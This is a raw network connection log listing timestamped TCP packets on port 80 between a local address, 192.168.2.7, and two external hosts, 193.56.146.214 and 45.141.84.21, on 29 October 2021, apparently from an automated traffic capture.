Oct 29, 2021 15:31:12.801613092 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801631927 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801641941 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.801650047 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801667929 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801685095 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801685095 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.801702023 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801712036 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.801748991 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.801793098 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801861048 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801877975 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801896095 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801913023 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801917076 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.801930904 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801934958 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.801949024 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801968098 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801976919 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.801986933 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802005053 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802016020 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802022934 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802041054 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802051067 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802059889 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802078009 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802084923 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802093983 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802107096 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802124977 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802135944 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802140951 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802159071 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802175999 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802179098 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802192926 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802206039 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802212000 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802229881 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802231073 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802248955 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802264929 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802268028 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802283049 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802298069 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802310944 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802316904 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802335978 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802346945 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802352905 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802361965 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802371979 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802390099 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802405119 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802407980 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802426100 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802443027 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802445889 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802459955 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802479029 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802480936 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802498102 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802510977 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802519083 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802536011 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802551985 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802552938 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802572966 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802589893 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802591085 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802609921 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802623987 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802628994 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802648067 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802661896 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802664995 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802683115 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802700043 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802700043 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802719116 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802732944 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802737951 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802752018 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802767992 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802783966 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802798986 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802802086 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802819014 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802834988 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802835941 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802853107 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802870989 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802871943 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802887917 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802903891 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802906036 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802921057 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802936077 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.802937984 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802954912 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.802968979 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.803015947 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.834204912 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:12.834302902 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:12.868345976 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868392944 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868416071 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868442059 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868467093 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868490934 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868514061 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868540049 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868554115 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.868566990 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868586063 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.868592978 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.868593931 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868619919 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868643999 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868649960 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.868669987 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868690014 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.868696928 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868722916 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868746042 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.868747950 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868776083 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868796110 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.868802071 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868829012 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868860006 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.868875027 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868901014 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868920088 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868938923 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868957996 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868979931 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.868999004 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.869004011 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.869029045 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.869039059 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.869049072 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.869055033 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.869076014 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.869102001 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.869108915 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.869127035 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.869153023 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.869163990 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.869216919 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.869610071 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.869636059 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.869693995 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.869745970 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.869771957 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.869796991 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.869820118 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.869822979 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.869848967 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.869873047 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.869874954 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.869896889 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.869921923 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.869925022 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.869947910 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.869971991 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.869971991 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.869997025 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.870019913 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.870021105 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.870039940 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.870069027 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.936598063 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.950339079 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:12.950385094 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:12.950407028 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:12.950440884 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:12.950515032 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:12.950515032 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:12.950544119 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:12.950562954 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:12.950577021 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:12.950587988 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:12.950588942 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:12.950613022 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:12.950629950 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:13.005116940 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:13.005234957 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:13.013680935 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:13.013751030 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:13.013792992 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:13.013833046 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:13.013869047 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:13.013871908 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:13.013897896 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:13.013910055 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:13.013948917 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:13.013969898 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:13.013989925 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:13.014029026 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:13.014034986 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:13.014067888 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:13.014107943 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:13.014110088 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:13.014142036 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:13.014179945 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:13.260874033 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.261185884 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.327672958 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.335270882 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.439806938 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.458296061 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.458333015 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.525063038 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533590078 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533622026 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533641100 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533658981 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533677101 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533695936 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533714056 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533732891 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533746004 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533759117 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533777952 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533790112 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533802986 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533823967 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.533826113 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533847094 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533868074 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533873081 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.533885956 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533904076 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533924103 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533925056 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.533941031 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533960104 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533977032 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.533984900 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.533991098 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534009933 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534025908 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534034014 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534039021 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534059048 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534076929 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534094095 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534092903 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534111977 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534140110 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534147024 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534166098 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534185886 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534190893 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534204960 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534223080 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534236908 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534250975 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534270048 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534284115 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534286976 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534297943 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534302950 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534322977 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534322977 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534341097 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534349918 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534358978 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534384966 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534394026 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534404039 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534404039 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534423113 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534436941 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534440994 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534459114 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534477949 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534495115 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534496069 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534513950 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534514904 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534533024 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534547091 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534549952 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534569979 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534585953 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534599066 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534604073 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534621954 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534637928 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534638882 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534657955 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534677029 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534692049 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534693956 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534712076 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534718037 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534729958 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534748077 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534765959 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534781933 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534797907 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534799099 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534811974 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534818888 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534837961 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534852028 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534854889 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534867048 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534873962 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534892082 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534904957 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534909964 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534928083 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534944057 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534965038 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534966946 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.534986019 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.534996986 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.535003901 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.535022020 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.535039902 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.535046101 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.535058022 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.535069942 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.535078049 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.535095930 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.535105944 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.535114050 CEST	80	49846	193.56.146.214	192.168.2.7
